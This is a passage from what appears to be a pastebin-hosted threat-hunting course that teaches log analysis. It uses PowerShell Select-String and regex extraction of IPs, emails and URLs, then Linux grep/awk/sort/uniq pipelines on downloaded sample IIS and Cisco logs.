  989. Use the count property to determine the total number of entries in the event log.
  990. ------------------------Type This------------------------------
  991. $seclog.Count
  992. ---------------------------------------------------------------
  993.  
  994.  
  995.  
  996.  
  997.  
  998. ############################
  999. # Simple Log File Analysis #
  1000. ############################
  1001.  
  1002.  
  1003. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  1004.  
  1005. ------------------------Type This------------------------------
  1006. mkdir c:\ps
  1007. cd c:\ps
  1008. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  1009. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  1010. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  1011. ---------------------------------------------------------------
  1012.  
  1013.  
  1014.  
  1015. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  1016. ------------------------Type This------------------------------
  1017. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  1018. ---------------------------------------------------------------
  1019.  
  1020.  
  1021.  
  1022. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  1023. ------------------------Type This------------------------------
  1024. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  1025. ---------------------------------------------------------------
  1026.  
  1027.  
  1028. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  1029. ------------------------Type This------------------------------
  1030. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  1031. ---------------------------------------------------------------
  1032.  
  1033.  
  1034. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  1035. ------------------------Type This------------------------------
  1036. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  1037. ---------------------------------------------------------------
  1038.  
  1039. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  1040. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  1041. ------------------------Type This------------------------------
  1042. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  1043. ---------------------------------------------------------------
  1044.  
  1045.  
  1046.  
  1047. ##############################################
  1048. # Parsing Log files using windows PowerShell #
  1049. ##############################################
  1050.  
  1051. Download the sample IIS log http://pastebin.com/LBn64cyA
  1052.  
  1053. ------------------------Type This------------------------------
  1054. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  1055.  
  1056. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
  1057. ---------------------------------------------------------------
  1058.  
  1059.  
  1060. The above command would give us all the WebDAV requests.
  1061.  
  1062. To filter this to a particular user name, use the below command:
  1063. ------------------------Type This------------------------------
  1064. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
  1065. ---------------------------------------------------------------
  1066.  
  1067.  
  1068. Some more options that will be more commonly required :
  1069.  
  1070. For Outlook Web Access : Replace WebDAV with OWA
  1071.  
  1072. For EAS : Replace WebDAV with Microsoft-server-activesync
  1073.  
  1074. For ECP : Replace WebDAV with ECP
  1075.  
  1076.  
  1077.  
  1078.  
  1079.  
  1080.  
  1081.  
  1082. ####################################################################
  1083. # Windows PowerShell: Extracting Strings Using Regular Expressions #
  1084. ####################################################################
  1085.  
  1086.  
  1087. Regex Characters you might run into:
  1088.  
  1089. ^ Start of string, or start of line in a multiline pattern
  1090. $ End of string, or start of line in a multiline pattern
  1091. \b Word boundary
  1092. \d Digit
  1093. \ Escape the following character
  1094. * 0 or more {3} Exactly 3
  1095. + 1 or more {3,} 3 or more
  1096. ? 0 or 1 {3,5} 3, 4 or 5
  1097.  
  1098.  
  1099.  
  1100. To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
  1101.  
  1102. 1) The input file that will be parsed
  1103. ------------------------Type This------------------------------
  1104. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
  1105. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
  1106. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
  1107. ---------------------------------------------------------------
  1108. 2) The regular expression that the input file will be compared against
  1109.  
  1110. 3) The output file for where the extracted data will be placed.
  1111.  
  1112. Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
  1113. Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
  1114.  
  1115. To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
  1116. ------------------------Type This------------------------------
  1117. $input_path = 'c:\ps\emails.txt'
  1118. $output_file = 'c:\ps\extracted_addresses.txt'
  1119. $regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
  1120. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1121. ---------------------------------------------------------------
  1122.  
  1123.  
  1124. In this script, we have the following variables:
  1125.  
  1126. 1) $input_path to hold the path to the input file we want to parse
  1127.  
  1128. 2) $output_file to hold the path to the file we want the results to be stored in
  1129.  
  1130. 3) $regex to hold the regular expression pattern to be used when the strings are being matched.
  1131.  
  1132. The select-string cmdlet contains various parameters as follows:
  1133.  
  1134. 1) "-Path" which takes as input the full path to the input file
  1135.  
  1136. 2) "-Pattern" which takes as input the regular expression used in the matching process
  1137.  
  1138. 3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
  1139.  
  1140. Using ">" the results are written to the destination specified in the $output_file variable.
  1141.  
  1142. Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
  1143.  
  1144. IP addresses
  1145. ------------
  1146. For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
  1147. ------------------------Type This------------------------------
  1148. $input_path = 'c:\ps\ip_addresses.txt'
  1149. $output_file = 'c:\ps\extracted_ip_addresses.txt'
  1150. $regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
  1151. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1152. ---------------------------------------------------------------
  1153.  
  1154.  
  1155.  
  1156. URLs
  1157. ----
  1158. For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
  1159. You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
  1160. ------------------------Type This------------------------------
  1161. $input_path = 'c:\ps\URL_addresses.txt'
  1162. $output_file = 'c:\ps\extracted_URL_addresses.txt'
  1163. $regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
  1164. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  1165. ---------------------------------------------------------------
  1166.  
  1167. In addition to the examples above, many other types of strings can be extracted using this script.
  1168. All you need to do is switch the regular expression in the "$regex" variable!
  1169. In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
  1170.  
  1171.  
  1172.  
  1173. ######################################
  1174. ----------- ############### # Day 5: Wrapping up threat hunting ################ -----------
  1175. #####################################
  1176.  
  1177. ##############################################
  1178. # Log Analysis with Linux command-line tools #
  1179. ##############################################
  1180. The following command line executables are found in the Mac as well as most Linux Distributions.
  1181.  
  1182. cat – prints the content of a file in the terminal window
  1183. grep – searches and filters based on patterns
  1184. awk – can sort each row into fields and display only what is needed
  1185. sed – performs find and replace functions
  1186. sort – arranges output in an order
  1187. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  1188.  
  1189.  
  1190. ##############
  1191. # Cisco Logs #
  1192. ##############
  1193.  
  1194. -----------------------------Type this-----------------------------------------
  1195. wget http://45.63.104.73/cisco.log
  1196. -------------------------------------------------------------------------------
  1197.  
  1198. AWK Basics
  1199. ----------
  1200. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  1201.  
  1202. -----------------------------Type this-----------------------------------------
  1203. cat cisco.log | awk '{print $5}' | tail -n 4
  1204. -------------------------------------------------------------------------------
  1205.  
  1206.  
  1207.  
  1208. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  1209.  
  1210. -----------------------------Type this-----------------------------------------
  1211. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  1212. -------------------------------------------------------------------------------
  1213.  
  1214.  
  1215.  
  1216. While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  1217.  
  1218. -----------------------------Type this-----------------------------------------
  1219. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  1220. -------------------------------------------------------------------------------
  1221.  
  1222.  
  1223.  
  1224.  
  1225. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  1226.  
  1227. -----------------------------Type this-----------------------------------------
  1228. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  1229.  
  1230. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  1231.  
  1232. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  1233.  
  1234. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  1235. --------------------------------------------------------------------------------
Add Comment
Please, Sign In to add comment